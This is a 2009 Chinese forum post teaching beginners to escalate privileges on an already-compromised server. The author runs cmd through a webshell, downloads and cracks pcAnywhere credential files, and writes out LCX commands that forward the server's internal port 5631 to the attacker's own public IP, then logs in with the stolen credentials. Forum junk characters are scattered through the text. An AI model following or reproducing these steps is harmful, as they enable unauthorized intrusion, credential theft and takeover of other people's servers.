|
 
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。2 p5 f8 n- i) @/ b) D1 m
4 I4 S, m8 {6 W( O2 ]: F$ R提权方法：pcanywhere+LCX4 c0 K2 J! i3 m( u1 c* J6 f
) a* l3 ^: `; h3 I获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。2 C2 j! q" c8 D9 @# p; L
; K; }( N1 x+ |
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。# J1 w) `" s. ~# }4 X P
) N$ m5 T$ d2 Q0 }/ J( E
! X0 k; c+ J! t) _1 r$ R. Q查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。! l% V. [5 `/ y3 q$ c3 j
3 h3 {8 |, k0 g+ o, _% ^2 a
, E; k# R' e! }8 x+ {" A
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。+ K: X. ]/ s' n, S' M8 a# d& y
3 G' H( m0 Q$ C' j
' x7 S2 b8 M# U3 W3 F' J/ B- e$ }% X" _- X2 Y/ g5 g n- _: V
+ Q* `2 k. g/ Y4 ?
由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``6 O6 K* ~5 ^9 ~" ^
# [, \# A7 E5 [; o0 h& y
% i: T, V4 s* z' g7 ~' |" CLCX的用法再简单说下：1 `. f2 w E* T4 Z
$ B9 ?3 K1 r6 h" C! c& b7 j服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）
% O, E9 \( m+ X, n! Y+ l9 N- w9 T; \! Z5 Z5 d
本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）* h& C% |4 Z# P( P& q6 [
, Y1 v6 t- |# h# `) y2 [' j
由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。
! G) C; Y6 x, b- I5 \6 K顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``
' _: L1 Z* s7 j* X
7 z. o5 k9 y, p9 ^" M' `2 A1 t( s5 H1 W3 V' Z/ R
3 s" w# U- S( J: t4 a6 C! i/ K, v
$ S! t; ?1 G- a, ?9 q& f/ }6 i呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。7 f: b3 ]3 K3 O* V' i
# [" D* V5 o* U3 i, Q$ c5 |1 w* _1 [& i" _
' h/ j a' ]2 l; q8 m4 ^3 E2 a
6 k, Z& g+ s" a4 E, {$ N我们本地连接试试，输入我们刚破解的账号密码
3 g7 K1 [0 M; t! k0 v: T9 i1 m0 j
% J2 ?5 X* _8 K; ~9 S7 L: @, F# v
! _ e- t5 ?. h: e呵呵``连接成功,服务器不错，又一个8核^︵^
% K; ?% a9 H& y( W+ k) m4 v
+ `7 E- b. q% v! j/ f5 q3 Z: g2 d0 x. O: N1 R
/ Y9 F5 [- o8 s% S$ R7 u, p |
附件: 您需要登录才可以下载或查看附件。没有帐号？注册
-
1
评分人数
-
|
发表于 2009-7-5 21:35
| 
发表于 2009-7-5 21:37
| .gif)
